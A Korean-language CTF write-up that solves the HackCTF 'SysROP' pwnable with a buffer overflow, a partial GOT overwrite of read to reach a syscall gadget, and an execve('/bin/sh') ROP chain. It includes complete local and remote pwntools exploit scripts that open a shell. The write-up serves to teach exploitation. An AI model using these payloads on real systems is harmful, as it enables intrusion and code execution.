WAR GAME/HackCTF

[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP)

jir4vvit 2021. 4. 16. 18:28

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

syscall rop는 할 줄 알지만.. syscall 가젯을 못찾겠어서 롸업보고 풀었다 ㅠㅠ


주어진 파일은 문제파일 바이너리 and libc

 

Analsysis

일단 실행

그냥 입력받고 종료한다. 

IDA

main

read함수 ... bof 발생한다.

 

stripped 된 파일이라서 사용자 정의 함수들이 sub_* 이런식으로 되어있다.

그래서 심볼도 없다. 

 

참고로 stripped 되었다는 것은 실행에 필요한 부분을 제외한 다른부분이 없는 것이다.

컴파일/링크되어 생성된 실행파일에는 symbol table과 section, 컴파일러/링커 관련 내용 등등...
여러가지 실행에는 필요없는 부분이 포함되어 있다.

 

strip은 실행파일의 크기를 줄이기위해서 이러한 부분들을 제거한다.

 

---

 

How to exploit

출력함수가 없어서 leak을 못한다.

system함수도 어딨는지 모르겠다.

 

그래서 syscall rop를 해야한다.

 

Summary

  1. '/bis/sh\x00' 문자열을 bss 영역에 넣어준다.
  2. read 함수의 got를 syscall로 overwriting한다.
  3. syscall execve를 실행한다.

rop를 진행하기 위해 필요한 가젯이 있다.

이런거는 쉽게 나온다.

 

하지만 syscall 가젯이 보이지 않았다.

 

여기서 생각해야할 것, read 함수는 여러 syscall들로 구성이 되어있다. read 함수를 쓴다? -> read 함수 내부에 syscall을 호출한다. 

그래서 syscall 가젯을 read 함수 내부에서 찾아야 한다.

 

아래와 같이...

read함수 안에서 syscall 찾는 다른 방법

더보기

read 함수 got 출력해서 아래처럼 구해도 됨

 

아 참고로 remote는 아래처럼 libc에서 찾아야 한다.

 

libc 주소는 마지막 1.5바이트(?)가 무조건 000이다.

그래서 read함수의 got의 마지막 한바이트를 '\x4f'로 바꿔 syscall을 호출할 수 있다.

(ASLR이 걸려있으니깐 이런식으로 호출해야 한다.)

 

 

이제 우리가 아는대로 rax에 59넣어서 execve syscall 호출하면 된다.

 

Let's exploit

local

주석을 보면 return to main... 이 주석처리된 것을 볼 수 있다.

나는 보통 문제풀 때 무조건 main으로 돌려버리는 습관이 있는데, 여기서 이렇게 하게 되면 이상한 주소로 가게 된다.

read 함수의 got를 이상하게 바꿔버렸으니 ㅎㅎ... 당연한 거겠지?

그래서 그렇게 하면 안된다. 

from pwn import *

p = process('./sysrop')
#p = remote('ctf.j0n9hyun.xyz', 3024) 
e = ELF('./sysrop')

read_plt = e.plt['read']
read_got = e.got['read']

print hex(read_got)

bss = 0x601060
main = 0x4005f2

pppr = 0x4005eb
ppppr = 0x4005ea

binsh = '/bin/sh\x00'

# 1. input /bin/sh 
# read
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi 
payload += p64(len(binsh)) +  p64(0) + p64(bss)
payload += p64(read_plt)
payload += p64(main) # return to main

p.send(payload)
p.send(binsh)

#p.interactive()

# 2. got overwriting
# read_got -> syscall
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi 
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
#payload += p64(main) # return to main

#pause()
#p.send(payload)
#p.send('\x4f')

# 3. syscall execve
#payload += 'a' * 0x18
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(bss) + p64(0)
payload += p64(read_plt)

#pause()
p.send(payload)
p.send('\x4f')

p.interactive()

 

 

remote

sleep을 넣어주는 이유?

디버깅 속도가 너무 느리거나 빠른 경우 데이터를 제대로 입력받지 못해 디버깅이 제대로 이루어지지 않을 수 있다고 한다. 그래서 데이터를 send하고 난 후 sleep을 넣어 속도를 조정해준다.

from pwn import *

#p = process('./sysrop')
p = remote('ctf.j0n9hyun.xyz', 3024) 
e = ELF('./sysrop')

read_plt = e.plt['read']
read_got = e.got['read']

print hex(read_got)

bss = 0x601060
main = 0x4005f2

pppr = 0x4005eb
ppppr = 0x4005ea

binsh = '/bin/sh\x00'

# 1. input /bin/sh 
# read
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi 
payload += p64(len(binsh)) +  p64(0) + p64(bss)
payload += p64(read_plt)
payload += p64(main) # return to main

p.send(payload)
p.send(binsh)

#p.interactive()

# 2. got overwriting
# read_got -> syscall
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi 
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
#payload += p64(main) # return to main

#pause()
#p.send(payload)
#p.send('\x4f')

# 3. syscall execve
#payload += 'a' * 0x18
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(bss) + p64(0)
payload += p64(read_plt)

#pause()
p.send(payload)
sleep(0.5)
p.send('\x5e')

p.interactive()